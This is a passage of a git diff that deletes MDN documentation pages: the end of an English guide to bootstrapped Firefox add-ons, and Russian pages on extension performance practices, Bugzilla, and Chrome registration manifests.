- <td><code>APP_STARTUP</code></td>
- <td>1</td>
- <td>The application is starting up.</td>
- </tr>
- <tr>
- <td><code>APP_SHUTDOWN</code></td>
- <td>2</td>
- <td>The application is shutting down.</td>
- </tr>
- <tr>
- <td><code>ADDON_ENABLE</code></td>
- <td>3</td>
- <td>The add-on is being enabled.</td>
- </tr>
- <tr>
- <td><code>ADDON_DISABLE</code></td>
- <td>4</td>
- <td>The add-on is being disabled. (Also <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=620541">sent during uninstallation</a>)</td>
- </tr>
- <tr>
- <td><code>ADDON_INSTALL</code></td>
- <td>5</td>
- <td>The add-on is being installed.</td>
- </tr>
- <tr>
- <td><code>ADDON_UNINSTALL</code></td>
- <td>6</td>
- <td>The add-on is being uninstalled.</td>
- </tr>
- <tr>
- <td><code>ADDON_UPGRADE</code></td>
- <td>7</td>
- <td>The add-on is being upgraded.</td>
- </tr>
- <tr>
- <td><code>ADDON_DOWNGRADE</code></td>
- <td>8</td>
- <td>The add-on is being downgraded.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Bootstrap_data">Bootstrap data</h2>
-
-<p>Each of the entry points is passed a simple data structure containing some useful information about the add-on being bootstrapped. More information about the add-on can be obtained by calling <code><a href="/en-US/docs/Addons/Add-on_Manager/AddonManager#getAddonByID()">AddonManager.getAddonByID()</a></code>. The data is a simple JavaScript object with the following properties:</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Property</td>
- <td class="header">Type</td>
- <td class="header">Description</td>
- </tr>
- <tr>
- <td><code>id</code></td>
- <td><code>string</code></td>
- <td>The ID of the add-on being bootstrapped.</td>
- </tr>
- <tr>
- <td><code>version</code></td>
- <td><code>string</code></td>
- <td>The version of the add-on being bootstrapped.</td>
- </tr>
- <tr>
- <td><code>installPath</code></td>
- <td><code>nsIFile</code></td>
- <td>The installation location of the add-on being bootstrapped. This may be a directory or an XPI file depending on whether the add-on is installed unpacked or not.</td>
- </tr>
- <tr>
- <td><code>resourceURI</code></td>
- <td><code>nsIURI</code></td>
- <td>A URI pointing at the root of the add-ons files, this may be a <code>jar:</code> or <code>file:</code> URI depending on whether the add-on is installed unpacked or not. {{ gecko_minversion_inline("7.0") }}</td>
- </tr>
- <tr>
- <td><code>oldVersion</code></td>
- <td><code>string</code></td>
- <td>The previously installed version, if the reason is <code>ADDON_UPGRADE</code> or <code>ADDON_DOWNGRADE</code>, and the method is <code>install</code> or <code>startup</code>. {{ gecko_minversion_inline("22.0") }}</td>
- </tr>
- <tr>
- <td><code>newVersion</code></td>
- <td><code>string</code></td>
- <td>The version to be installed, if the reason is <code>ADDON_UPGRADE</code> or <code>ADDON_DOWNGRADE</code>, and the method is <code>shutdown</code> or <code>uninstall</code>. {{ gecko_minversion_inline("22.0") }}</td>
- </tr>
- </tbody>
-</table>
-
-<div class="note">
-<p><strong>Note:</strong> An add-on may be upgraded/downgraded at application startup, in this case the <code>startup</code> method reason is <code>APP_STARTUP</code>, and the <code>oldVersion</code> property is not set. Also be aware that in some circumstances an add-on upgrade/downgrade may occur without the <code>uninstall</code> method being called.</p>
-</div>
-
-<h2 id="Add-on_debugger">Add-on debugger</h2>
-
-<p>From Firefox 31 onwards, you can use the <a href="/en-US/Add-ons/Add-on_Debugger">Add-on Debugger</a> to debug bootstrapped add-ons.</p>
-
-<h2 id="Localization_(L10n)">Localization (L10n)</h2>
-
-<p>Localizing bootstrapped add-ons is very much the same since Firefox 7, as that is when chrome.manifest compatibility landed.</p>
-
-<h3 id="JS_and_JSM_Files_-_Using_Property_Files">JS and JSM Files - Using Property Files</h3>
-
-<p>To localize your .js and .jsm files you have to use <a href="/en-US/docs/XUL/Tutorial/Property_Files">property files</a>.</p>
-
-<p>The absolute minimum needed here is:</p>
-
-<ol>
- <li>File: install.rdf</li>
- <li>File: chrome.manifest</li>
- <li>File: bootstrap.js</li>
- <li>Folder: locale
- <ol>
- <li>Folder: VALID_LOCALE_HERE
- <ol>
- <li>File: ANYTHING.properties</li>
- </ol>
- </li>
- </ol>
- </li>
-</ol>
-
-<p>In the locale folder you must have folders for each of the languages you want to provide; each folder must be named a valid locale (ex: en-US). Inside this folder must be a property file. Inside the chrome.manifest file these locale must be defined. For example if you had a subfolder of en-US in locale folder your chrome.manifest file will have to contain: <code>locale NAME_OF_YOUR_ADDON en-US locale/en-US/</code></p>
-
-<p>Here is an example: <a href="https://github.com/Noitidart/l10n/tree/properties">GitHub :: l10n-properties</a> - on startup of this add-on it will show a prompt saying USA or Great Britain, which ever it deems closest to your locale. You can test different locale by going to about:config and changing preference of general.useragent.locale to en-US and then to en-GB and disabling then re-enabling the add-on.</p>
-
-<h3 id="XUL_and_HTML_Files_-_Using_Entities_from_DTD_Files">XUL and HTML Files - Using Entities from DTD Files</h3>
-
-<p>Many times HTML pages are used, however they cannot be localized with DTD files. There are three changes you must make:</p>
-
-<ol>
- <li>You have to change the HTML file's extension to be <code>.xhtml</code></li>
- <li>The doctype must be defined point to a DTD file in your locale folder such as: <code>&lt;!DOCTYPE html SYSTEM <span class="pl-s1">"chrome://l10n/locale/mozilla.dtd"</span>&gt;</code></li>
- <li>Must add xmlns attribute to html tag for example: <code>&lt;<span class="pl-ent">html</span> <span class="pl-e">xmlns</span>=<span class="pl-s1"><span class="pl-pds">"</span>http://www.w3.org/1999/xhtml<span class="pl-pds">"</span></span>&gt;</code></li>
- <li>If you have multiple DTD files read on here: <a href="/en-US/docs/Using_multiple_DTDs">Using multiple DTDs</a></li>
-</ol>
-
-<p>The bare minimum needed is:</p>
-
-<ol>
- <li>File: install.rdf</li>
- <li>File: chrome.manifest</li>
- <li>File: bootstrap.js</li>
- <li>Folder: locale
- <ol>
- <li>Folder: VALID_LOCALE_HERE
- <ol>
- <li>File: ANYTHING.dtd</li>
- </ol>
- </li>
- </ol>
- </li>
-</ol>
-
-<p>The chrome.manifest file must include a definition for content for example: <code>content NAME_OF_YOUR_ADDON ./</code></p>
-
-<p>The chrome.manifest file must also include a line pointing to the locale, just like in the above property section, if you had a folder named en-US in locale, the chrome.manifest file should contain: <code>locale NAME_OF_YOUR_ADDON en-US locale/en-US/</code></p>
-
-<p>Here is an example add-on that opens an HTML page and a XUL page on install: <a href="https://github.com/Noitidart/l10n/tree/c456cc82a8a66b6d552cd8c2299cd2babc383af0">GitHub :: l10n-xhtml-xul</a>. Here is an example showing how to use a localized HTML page as an options page: <a href="https://github.com/Noitidart/l10n/tree/html-options">GitHub :: l10n-html-options</a>. You can go to about:config and change the value of the preference <code>general.useragent.locale </code>to <code>en-US</code> and then to <code>en-GB</code> and then reload the open pages to see the localization change.</p>
-
-<h2 id="Further_reading">Further reading</h2>
-
-<ul>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/How_to_convert_an_overlay_extension_to_restartless">How to convert an overlay extension to restartless</a> a step by step guide. Some code samples are provided. The page is based on and expanded from Dave Garrett's step-by-step guide to <a class="external" href="https://flagfox.wordpress.com/2014/01/19/writing-restartless-addons/">convert an old overlay based extension into a restartless addon</a>.</li>
- <li>Dave Townsend provides a basic code base to <a class="external" href="http://www.oxymoronical.com/blog/2011/01/Playing-with-windows-in-restartless-bootstrapped-extensions">load UI for each opened window</a> in a bootstrapped extension.</li>
- <li>Mark Finkle provides some simple example code for <a class="external" href="http://starkravingfinkle.org/blog/2011/01/bootstrap-jones-adventures-in-restartless-add-ons/">restartless add-ons in mobile Firefox</a>, <a class="external" href="http://starkravingfinkle.org/blog/2011/01/restartless-add-ons-more-resources/">adding resources (like the options window)</a> to bootstrapped extensions and <a class="external" href="http://starkravingfinkle.org/blog/2011/01/restartless-add-ons-%e2%80%93-default-preferences/">using default preferences</a> without a <code>default/preferences/prefs.js</code> file.</li>
- <li>Kris Maglione writes about <a class="external" href="http://maglione-k.users.sourceforge.net/bootstrapped.xhtml">the requirements for the cleanup procedures</a> in bootstrapped extensions.</li>
- <li>Edward Lee shows off some <a class="external" href="http://ed.agadak.net/2011/01/restartless-add-on-example-code">helpful coding patterns and examples</a> you can use in your bootstrapped add-on.</li>
- <li>Documentation for <a href="/en-US/docs/Extensions/Inline_Options">Inline Options</a> in Firefox 7 and later.</li>
-</ul>
diff --git a/files/ru/mozilla/add-ons/рекомендации_по_повышению_производительности_расширений/index.html b/files/ru/mozilla/add-ons/рекомендации_по_повышению_производительности_расширений/index.html
deleted file mode 100644
index 4442856118..0000000000
--- a/files/ru/mozilla/add-ons/рекомендации_по_повышению_производительности_расширений/index.html
+++ /dev/null
@@ -1,102 +0,0 @@
----
-title: Рекомендации по повышению производительности расширений
-slug: Mozilla/Add-ons/Рекомендации_по_повышению_производительности_расширений
-tags:
- - Быстродействие
- - Лучшие практики
- - Плагины
- - Производительность
- - Расширения
- - Руководство
-translation_of: Archive/Add-ons/Performance_best_practices_in_extensions
----
-<p>Одно из самых значительных преимуществ браузера Firefox заключается в его чрезвычайной расширяемости. Благодаря дополнениям можно сделать практически что угодно. Есть и обратная сторона медали: плохо написанные расширения могут оказывать серьезное влияние на просмотр сайтов, в том числе и на производительность браузера Firefox в целом. Эта статья предлагает вашему вниманию лучшие практики и рекомендации, которые позволят повысить производительность и быстродействие не только вашего расширения, но также и самого браузера Firefox.</p>
-
-<h2 id="Увеличиваем_скорость_запуска">Увеличиваем скорость запуска</h2>
-
-<p>Расширения загружаются и выполняются всякий раз, когда открывается новое окно браузера. Это значит, что при каждом открытии окна ваше расширение может задерживать вывод желаемого контента на экран. Есть несколько способов уменьшения времени задержки вывода пользовательского контента.</p>
-
-<h3 id="Загружайте_только_то_что_вам_действительно_требуется">Загружайте только то, что вам действительно требуется</h3>
-
-<p>В момент запуска плагина не следует загружать то, что понадобится только после нажатия пользователем на кнопку, или то, что понадобится только при включенной опции, если сейчас она выключена. Если ваше расширение предоставляет функции, доступные только после авторизации пользователя в сервисе, не следует загружать ресурсы для этих функций до тех пор, пока пользователь фактически не пройдет процедуру авторизации.</p>
-
-<h3 id="Используйте_модули_JavaScript">Используйте модули JavaScript</h3>
-
-<p>Вы можете создать собственный <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Using" title="/en-US/docs/Mozilla/JavaScript_code_modules/Using">модуль JavaScript</a>, объединив набор функций, которые нужны только в определенных ситуациях. Это упростит загрузку блоков кода вашего расширения на лету, вместо загрузки всего сразу.</p>
-
-<p>Несмотря на то, что модули JavaScript могут быть чрезвычайно полезны и давать прирост производительности, они должны применяться разумно. Загрузка модулей все же несет небольшие затраты, поэтому разбивка кода на ненужные уровни может привести к негативным результатам. Код должен быть разбит на модули так, чтобы от этого улучшалась его понятность, а загрузка крупных или требующих больших затрат блоков кода могла быть значительно отсрочена.</p>
-
-<h3 id="Отсрочивайте_все_что_возможно">Отсрочивайте все, что возможно</h3>
-
-<p>У большинства расширений есть обработчик события загрузки в главном оверлее, который выполняет функцию при запуске браузера. Выполняйте в этой функции как можно меньше кода. Окно браузера зависает до тех пор, пока обработчик загрузки вашего плагина полностью не выполнится, поэтому чем больше в нем осуществляется действий, тем медленнее Firefox кажется пользователю.</p>
-
-<p>Если что-то можно сделать пусть даже на долю секунды позже, используйте методы {{ interface("nsITimer") }} или {{ domxref("window.setTimeout()") }} для того, чтобы отложить это действие на потом. Даже короткая отсрочка может иметь большое влияние на быстродействие.</p>
-
-<h2 id="Общие_вопросы_производительности">Общие вопросы производительности</h2>
-
-<h3 id="Избегайте_утечек_памяти">Избегайте утечек памяти</h3>
-
-<p>Утечки памяти вынуждают сборщик мусора и сборщик циклических ссылок (cycle collector) выполнять больший объем работы, а это в значительной мере сказывается на быстродействии.</p>
-
-<p>Зомби-ячейки (zombie compartments) - это особый вид утечки памяти, который можно легко выявить. Загляните на страницу<a href="/en/Zombie_compartments" title="en/Zombie_compartments"> </a><a href="/en/Zombie_compartments" title="en/Zombie_compartments">Зомби-ячейки</a>, особенно раздел <a href="/en/Zombie_compartments#Proactive_checking_of_add-ons" title="en/Zombie_compartments#Proactive_checking_of_add-ons">Проактивная проверка плагинов</a>.</p>
-
-<p>Ознакомьтесь с разделом <a href="/en/Extensions/Common_causes_of_memory_leaks_in_extensions" title="en/Extensions/Common_causes_of_zombie_compartments_in_extensions">Распространенные причины утечек памяти в расширениях</a>, чтобы узнать, как избежать возникновения зомби-ячеек и других видов утечек.</p>
-
-<p>Помимо поиска различных видов утечек памяти, стоит также проверить функционал вашего расширения и содержимое вкладки about:memory на предмет избыточного потребления памяти. Например, <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=719601" title="https://bugzilla.mozilla.org/show_bug.cgi?id=719601">ошибка 719601</a> приводила к тому, что ячейка JavaScript содержала сотни мегабайт памяти, что гораздо больше, чем обычно.</p>
-
-<h3 id="Избегайте_написания_медленных_таблиц_стилей_CSS">Избегайте написания медленных таблиц стилей CSS</h3>
-
-<ul>
- <li>Прочитайте руководство <a href="/en/CSS/Writing_Efficient_CSS" title="en/CSS/Writing_Efficient_CSS">"Разработка эффективных таблиц стилей CSS"</a>.</li>
- <li>Помните, что каждый селектор в вашем правиле, который может совпадать с множеством различных узлов - это источник снижения производительности при поиске совпадения или выполнении динамического обновления элемента. Это особенно плохо, если селектор может динамически запускать и останавливать поиск совпадений. Остерегайтесь использования псевдо-класса ":hover".</li>
-</ul>
-
-<h3 id="Избегайте_использования_технологии_DOM_Mutation_Events">Избегайте использования технологии DOM Mutation Events</h3>
-
-<p>Технология прослушивания изменений DOM чрезвычайно затратна по ресурсам, ее использование приводит к значительному ухудшению быстродействия. Так как она официально признана нерекомендуемой для применения, при этом имеется <a href="/en-US/Add-ons/Overlay_Extensions/XUL_School/Appendix_F:_Monitoring_DOM_changes">множество аналогов</a>, ее следует всячески избегать.</p>
-
-<h3 id="Используйте_методы_ленивой_загрузки">Используйте методы ленивой загрузки</h3>
-
-<p><a href="/en/JavaScript_code_modules/XPCOMUtils.jsm#Methods" title="en/JavaScript_code_modules/XPCOMUtils.jsm#Methods">JavaScript-модуль XPCOMUtils</a> предоставляет два метрода ленивой (отложенной) загрузки:</p>
-
-<ul>
- <li><code>defineLazyGetter()</code> определяет для указанного объекта функцию, которая действует как метод доступа get, возвращающий объект, который будет создан в момент первого обращения к нему. <a class="external" href="http://mxr.mozilla.org/mozilla-central/search?string=defineLazyGetter">Подробнее см. примеры</a>.</li>
- <li><code>defineLazyServiceGetter()</code> определяет для указанного объекта функцию, которая действует как метод доступа get для сервиса. Сервис не будет получен до первого его использования. Например, {{ LXRSearch("ident", "string", "defineLazyServiceGetter", "Look through the source") }}.</li>
-</ul>
-
-<p>Множество распространенных сервисов уже закэшированы для вас в модуле <a href="/en-US/JavaScript_code_modules/Services.jsm">Services.jsm</a>.</p>
-
-<h3 id="Используйте_ассинхронный_вводвывод">Используйте ассинхронный ввод/вывод</h3>
-
-<p>Это следует подчеркнуть: никогда не выполняйте синхронный ввод/вывод в главном потоке.</p>
-
-<p>Любой ввод/вывод в главном потоке, будь то активность жесткого диска или сетевая активность, может стать причиной серьезных проблем с временем отклика интерфейса пользователя.</p>
-
-<ul>
- <li>Никогда не используйте синхронные запросы XMLHttpRequests.</li>
- <li>Используйте модуль <a href="/en-US/JavaScript_code_modules/NetUtil.jsm">NetUtils.jsm</a>, который предоставляет возможность асинхронного чтения и копирования файлов.</li>
- <li>Никогда не работайте с базами данных SQLite синхронно. Вместо этого используйте <a href="/en-US/Storage#Asynchronously">асинхронный API</a>.</li>
- <li>Выполняясь одна за другой, асинхронные операции зачастую можно значительно упростить, используя объект <a href="/en-US/Add-ons/Techniques/Promises">Promises</a>.</li>
-</ul>
-
-<h3 id="Избегайте_событий_перемещения_мыши">Избегайте событий перемещения мыши</h3>
-
-<p>Избегайте использования обработчиков событий мыши, включая такие события, как mouseover, mouseout, mouseenter, mouseexit, и особенно mousemove. Они возникают довольно часто, поэтому их обработчики способны в значительной мере повысить нагрузку на процессор.</p>
-
-<p>Когда без них обойтись не получается, во время обработки события должен выполняться минимум вычислений, а существенная работа приостановлена. Обработчики должны добавляться к наиболее вероятному элементу, и удаляться, если непосредственно не требуются в данный момент.</p>
-
-<h3 id="Избегайте_анимированных_изображений">Избегайте анимированных изображений</h3>
-
-<p>Анимированные изображения значительно более ресурсозатратны, чем считалось ранее, особенно когда используются в элементах {{ XULElem("tree") }}.</p>
-
-<h3 id="Рассмотрите_возможность_применения_Chrome_Workers">Рассмотрите возможность применения Chrome Workers</h3>
-
-<p>Вы можете использовать {{ domxref("ChromeWorker") }} для выполнения длительных задач или обработки данных.</p>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li><a href="/en/Performance/Measuring_add-on_startup_performance" title="en/Measuring Add-on Startup Performance">Измерение скорости запуска дополнения</a></li>
- <li><a class="external" href="http://blog.mozilla.com/addons/2010/06/14/improve-extension-startup-performance/" title="http://blog.mozilla.com/addons/2010/06/14/improve-extension-startup-performance/">How to Improve Extension Startup Performance</a></li>
- <li><a href="/en-US/docs/Performance">Общая информация об измерении и повышении производительности</a></li>
-</ul>
diff --git a/files/ru/mozilla/bugzilla/index.html b/files/ru/mozilla/bugzilla/index.html
deleted file mode 100644
index d5ed0cb163..0000000000
--- a/files/ru/mozilla/bugzilla/index.html
+++ /dev/null
@@ -1,54 +0,0 @@
----
-title: Bugzilla
-slug: Mozilla/Bugzilla
-tags:
- - Bugzilla
- - QA
- - Разработка Mozilla
- - 'Разработка Mozilla:Инструменты'
- - инструменты
-translation_of: Mozilla/Bugzilla
----
-<p><a class="link-https" href="https://bugzilla.mozilla.org/">bugzilla.mozilla.org</a> (часто используются аббревиатуры b.m.o и bmo) — это система отслеживания багов Mozilla.org. Это по сути база данных для учета багов и запросов по улучшению Firefox, Thunderbird, SeaMonkey, Camino, и других проектов mozilla.org.</p>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 class="Documentation" id="Documentation" name="Documentation">Документация к B.m.o.</h2>
-
-<dl>
- <dt><a href="/en-US/docs/What_to_do_and_what_not_to_do_in_Bugzilla" title="en/What_to_do_and_what_not_to_do_in_Bugzilla">Что можно, а что нельзя делать в Bugzilla</a> [en]</dt>
- <dd>Советы, как использовать Bugzilla, а также вещи которых следует избегать на b.m.o. [en]</dd>
- <dt><a class="link-https" href="https://bugzilla.mozilla.org/page.cgi?id=etiquette.html">Этикет Bugzilla</a> [en]</dt>
- <dd>Руководство по этикету. Оно поможет Вам понять как следует вести себя на b.m.o., что такое хорошие манеры и вежливость и как это позволит решить Вашу проблему быстрее.</dd>
- <dt><a href="http://www.mozilla.org/quality/help/beginning-duplicate-finding.html" title="http://www.mozilla.org/quality/help/beginning-duplicate-finding.html">Как понять, не был ли баг уже зарегистрирован</a> [en]</dt>
- <dd>Полезно (но не обязательно) проверить, не зарегистровал ли уже кто-нибудь проблему, о которой Вы собираетесь сообщить.  И здесь можно узнать как это сделать.</dd>
- <dt><a href="/en-US/docs/Mozilla/QA" title="/en-US/docs/Mozilla/QA">Контроль качества</a> [en]</dt>
- <dd>Документация касательно контроля качества в Mozilla.</dd>
- <dt><a href="/en-US/docs/Mozilla/QA/Bug_writing_guidelines" title="/en-US/docs/Mozilla/QA/Bug_writing_guidelines">Руководство по описанию багов</a> [en]</dt>
- <dd>Как правильно, и понятно для других описать баг, чтобы команда разработки могла быстро приступить к его исправлению или отслеживанию.</dd>
- <dt><a href="/en-US/docs/Developer_Guide/How_to_Submit_a_Patch" title="/en-US/docs/Developer_Guide/How_to_Submit_a_Patch">Как отправить исправление/патч</a> [en]</dt>
- <dd>Если Вы исправили баг, или реализовали новую функцию, то нужно внести Ваше исправление в дерево проекта, чтобы он стал частью продукта. Как это сделать, можно узнать здесь.</dd>
-</dl>
-
-<p><span class="alllinks"><a href="/en-US/docs/tag/Bugzilla" title="/en-US/docs/tag/CSS">Смотреть остальное…</a> [en]</span></p>
-</div>
-
-<div class="section">
-<h2 id="Другие_материалы">Другие материалы</h2>
-
-<ul>
- <li><a class="external" href="http://www.bugzilla.org/about/">Введение в Bugzilla</a></li>
- <li><a class="external" href="http://blog.johnath.com/2010/02/04/bugzilla-for-humans">Bugzilla for humans</a></li>
- <li><a class="external" href="http://www.squarefree.com/bugzilla/quicksearch-help.html">Bugzilla QuickSearch help page</a> [en]. QuickSearch это быстрый, легкий и очень эффективный способ запросов к bugzilla.</li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Bugzilla/Testopia" title="https://developer.mozilla.org/en-US/docs/Mozilla/Bugzilla/Testopia">Testopia</a> [en] — расширение для управления тестами</li>
- <li><a class="external" href="http://www.bugzilla.org">bugzilla.org</a> - сайт проекта</li>
- <li>{{ interwiki('wikipedia', 'Bugzilla', 'wikipedia:Bugzilla') }} - общее описание Bugzilla (not specific to Mozilla projects)</li>
-</ul>
-
-<h2 class="Tools" id="Tools" name="Tools">Инструменты</h2>
-
-<ul>
- <li><a href="http://harthur.github.io/bugzilla-todos/" title="http://harthur.github.io/bugzilla-todos/">Bugzilla Todos</a> lists review and flag requests, patches to check in, unfulfilled requests you made of other people, and assigned bugs.</li>
-</ul>
-</div>
-</div>
diff --git a/files/ru/mozilla/chrome_registration/index.html b/files/ru/mozilla/chrome_registration/index.html
deleted file mode 100644
index 7bf9bfb843..0000000000
--- a/files/ru/mozilla/chrome_registration/index.html
+++ /dev/null
@@ -1,358 +0,0 @@
----
-title: Chrome registration
-slug: Mozilla/Chrome_Registration
-translation_of: Mozilla/Chrome_Registration
----
-<h2 id="What_is_Chrome.3F" name="What_is_Chrome.3F">Что такое chrome?</h2>
-
-<p><a href="/en/Chrome" title="en/Chrome">Chrome</a> — это набор всех элементов UI в окне приложения, за исключением самого контента web-страницы. Панели инструментов, строки меню, индикаторы загрузки и панели заголовков окон — все это примеры элементов, которые обычно являются частью chrome.</p>
-
-<p>Mozilla находит и считывает корневой <code>chrome.manifest</code> файл в поисках расширений и тем оформления.</p>
-
-<div class="note">
-<p><strong>Примечание:</strong> В версии {{Gecko("1.9.2")}} и старше Mozilla считывает <code>chrome/*.manifest</code> файлы из приложений. Начиная с {{Gecko("2.0")}}, корневой <code>chrome.manifest</code> — <em>единственный</em> используемый манифест; добавить дополнительные манифесты можно с помощью команды <a href="/en/Chrome_Registration#manifest" title="en/Chrome Registration#manifest"><code>manifest</code></a>, прописанной в корневом манифесте.</p>
-</div>
-
-<h2 id="Chrome_Providers" name="Chrome_Providers">Chrome-провайдеры</h2>
-
-<p>Источник chrome для определенного типа окон (например, для окна браузера) называется chrome-провайдером (<em>англ. provider — поставщик</em>). Провайдеры, или поставщики, работают совместно, чтобы обеспечить полный набор элементов chrome для каждого конкретного окна, начиная от иконок на панелях инструментов, заканчивая файлами описания текста, контента и внешнего вида окна как такового.</p>
-
-<p>Существует три основных вида ресурсов chrome:</p>
-
-<dl>
- <dt>Content</dt>
- <dd>Главный исходный файл для описания окна исходит от провайдера <strong>content</strong>, он может быть любого типа, который сможеть обработать Mozilla. Скорее всего это будет XUL-файл, поскольку XUL спроектирован для описания содержимого окон и диалогов. JavaScript файлы, описывающие UI, также приведены в пакетах провайдера <strong>content</strong>, равно как и большинство XBL файлов сборки.</dd>
- <dt>Locale</dt>
- <dd>Локализуемые приложения содержат все переводы и связанную с локализацией информацию в провайдере <strong>locale</strong>. Такой подход позволяет переводчикам переводить только сами chrome-пакеты, не затрагивая основной исходный код. Два основных типа файлов локализации: DTD файлы и Java-подобные файлы свойств.</dd>
- <dt>Skin</dt>
- <dd>Провайдер <strong>skin</strong> отвечает за предоставление полного набора файлов, описывающих внешний вид chrome. Обычно это CSS файлы и изображения.</dd>
-</dl>
-
-<div class="note">
-<p><strong>Примечание:</strong> Скрипты (включая те, которые найдены в <a href="/en/XBL" title="en/XBL">XBL</a>), загруженные из провайдера skin, не будут запущены на исполнение.</p>
-</div>
-
-<h2 id="The_Chrome_Registry" name="The_Chrome_Registry">Реестр chrome</h2>
-
-<p>Среда Gecko предоставляет сервис, известный как <em>реестр chrome</em>. Этот сервис обеспечивает преобразование имен из chrome-пакетов в физическое расположение этих пакетов на диске.</p>
-
-<p>Реестр chrome настраиваем и имеет строгую структуру, поэтому пользователь может устанавливать сторонние провайдеры chrome, и, таким образом, изменять внешний вид и локализацию. <span id="result_box" lang="ru"><span class="hps">Это делается при помощи</span> <span class="hps">XPInstall</span> <span class="hps">и</span> <span class="hps">менеджера расширений</span><span>.</span></span></p>
-
-<p>Для того, чтобы сообщить реестру о новом доступном chrome, используется текстовый манифест: файл <code>chrome.manifest</code> в корне расширения, темы, или приложения XULRunner.</p>
-
-<p>Текстовый манифест использует простую строчную разметку: каждая строка парсится отдельно. Если строка определяется реестром как валидная, то он выполняет действие или команду, описываемые этой строкой. Иначе строка игнорируется, а в консоль выводится сообщение об ошибке.</p>
-
-<pre class="eval" style="white-space: pre-wrap;">locale packagename localename path/to/files
-skin packagename skinname path/to/files
-</pre>
-
-<div class="note">
-<p><strong>Примечание:</strong> В названии пакета недопустимо использование символов @ # ; : ? /</p>
-</div>
-
-<p></p><div class="warning">Firefox 2, Thunderbird 2 и SeaMonkey 1.1 не увидят chrome, если <code>packagename</code> содержит название, состоящее из букв разных регистров. Если пример выше содержит <code>packagename</code> <strong>C</strong>amel<strong>C</strong>ase<strong>P</strong>ackage, возникнет ошибка, примерное содержание: "No chrome registered for chrome://<strong>c</strong>amel<strong>c</strong>ase<strong>p</strong>ackage/path/to/files". Firefox 3, Thunderbird 3 и SeaMonkey 2 поддерживают название из букв разного регистра. Баг разрешен в Mozilla 1.9; см. {{bug(132183)}}.</div><p></p>
-
-<h2 id="Manifest_Instructions" name="Manifest_Instructions">Инструкции в манифесте</h2>
-
-<h3 id="comments" name="comments">Комментарии</h3>
-
-<p>Комментарием считается любая строчка, начинающаяся с символа решётки ('#'). Всё написанное в комментарии игнорируется.</p>
-
-<pre class="eval" style="white-space: pre-wrap;"># эта строчка - комментарий. здесь можно писать что угодно
-</pre>
-
-<h3 id="manifest" name="manifest">manifest</h3>
-
-<p>{{ gecko_minversion_inline("2.0b4") }}</p>
-
-<pre>manifest <em>subdirectory/foo.manifest [flags]</em>
-</pre>
-
-<p>Эта инструкция загрузит вспомогательный манифест. Это может быть полезно для разделения компонента и инструкции регистрации chrome, или разделения регистрационных данных, зависящих от платформы.</p>
-
-<h3 id="binary-component">binary-component</h3>
-
-<p>{{ gecko_minversion_inline("2.0b2") }}</p>
-
-<pre>binary-component <em>components/mycomponent.dll [flags]</em>
-</pre>
-
-<p>Даёт Mozilla указание к регистрации и использованию бинарного компонента. Эта инструкция должны комбинироваться с флагом abi (<em>двоичного интерфейса приложений</em>), так как бинарные компоненты зависят от ABI. Вплоть <a href="/en/XPCOM/XPCOM_changes_in_Gecko_2.0" title="en/XPCOM/XPCOM changes in Gecko 2.0">до Firefox 4</a> файлы в директориях компонентов регистрировались автоматически.</p>
-
-<h3 id="interfaces">interfaces</h3>
-
-<p>{{ gecko_minversion_inline("2.0b2") }}</p>
-
-<pre>interfaces <em>component/mycomponent.xpt [flags]</em>
-</pre>
-
-<p>Даёт указание загрузить информацию об интерфейсе из typelib-файла, созданного XPIDL.</p>
-
-<p>Instructs Mozilla to load interface information from a typelib file produced by XPIDL. Вплоть <a href="/en/XPCOM/XPCOM_changes_in_Gecko_2.0" title="en/XPCOM/XPCOM changes in Gecko 2.0">до Firefox 4</a> файлы в директориях компонентов регистрировались автоматически.</p>
-
-<h3 id="component">component</h3>
-
-<p>{{ gecko_minversion_inline("2.0b2") }}</p>
-
-<pre>component <em>{00000000-0000-0000-0000-000000000000}
-components/mycomponent.js [flags]</em>
-</pre>
-
-<p>Даёт Mozilla CID компонента, реализованного компонентом XPCOM на JavaScript или любом другом поддерживаемом языке. ClassID {0000...} должен совпадать с ClassID компонента. Для генерации уникального ClassID, можно возпользоваться любым UUID генератором.</p>
-
-<h3 id="contract">contract</h3>
-
-<p>{{ gecko_minversion_inline("2.0b2") }}</p>
-
-<pre>contract
-<em>@foobar/mycontract;1 <em>{00000000-0000-0000-0000-000000000000} [flags]</em></em>
-</pre>
-
-<p>Сопостовляет читабельный ID договора с ClassID для точной реализации. <span id="result_box" lang="ru"><span class="hps">Обычно</span> <span class="hps">ID</span> <span class="hps">договора работает в паре</span> <span class="hps">с</span> объявлением <span class="hps">компонента</span><span>, указанным непосредственно перед записью <strong>contract</strong>.</span></span></p>
-
-<h3 id="category">category</h3>
-
-<p>{{ gecko_minversion_inline("2.0b2") }}</p>
-
-<pre>category <em>category entry-name value [flags]</em>
-</pre>
-
-<p>Регистрирует запись в <a href="/en/XPCOM_Interface_Reference/nsICategoryManager" title="en/XPCOM Interface Reference/nsICategoryManager">менеджер категорий</a>. Особенности формата и значения записей категорий зависят от категории.</p>
-
-<h3 id="content" name="content" style="min-height: 0;">content</h3>
-
-<p>Пакет <strong>content</strong> регистрируется строчкой</p>
-
-<pre>content <em>packagename</em> <em>uri/to/files/</em> <em>[flags]</em>
-</pre>
-
-<p>Это нужно для объявления пути, используемого при разрешении URI типа <code>chrome://<em>packagename</em>/content/...</code>. Этот URI может быть как абсолютным, так и относительным по отношению к манифеста. Внимание: он должен заканчиваться слэшем ('/').</p>
-
-<h3 id="locale" name="locale">locale</h3>
-
-<p>Регистрация пакета локализации происходит при помощи строки</p>
-
-<pre class="eval" style="white-space: pre-wrap;">locale <em>packagename</em> <em>localename</em> <em>uri/to/files/</em> <em>[flags]</em>
-</pre>
-
-<p>Такая инструкция зарегистрирует пакет локализации при разрешении URI типа chrome://<em>packagename</em>/locale/... . Обычно localename это текстовой идентификатор страны "ru" или языка-страны "ru-RU". Если для пакета зарегистрировано несколько локализаций, реестр выберет наиболее подходящий для пользователя, учитывая пользовательские настройки языка.</p>
-
-<h3 id="skin" name="skin">skin</h3>
-
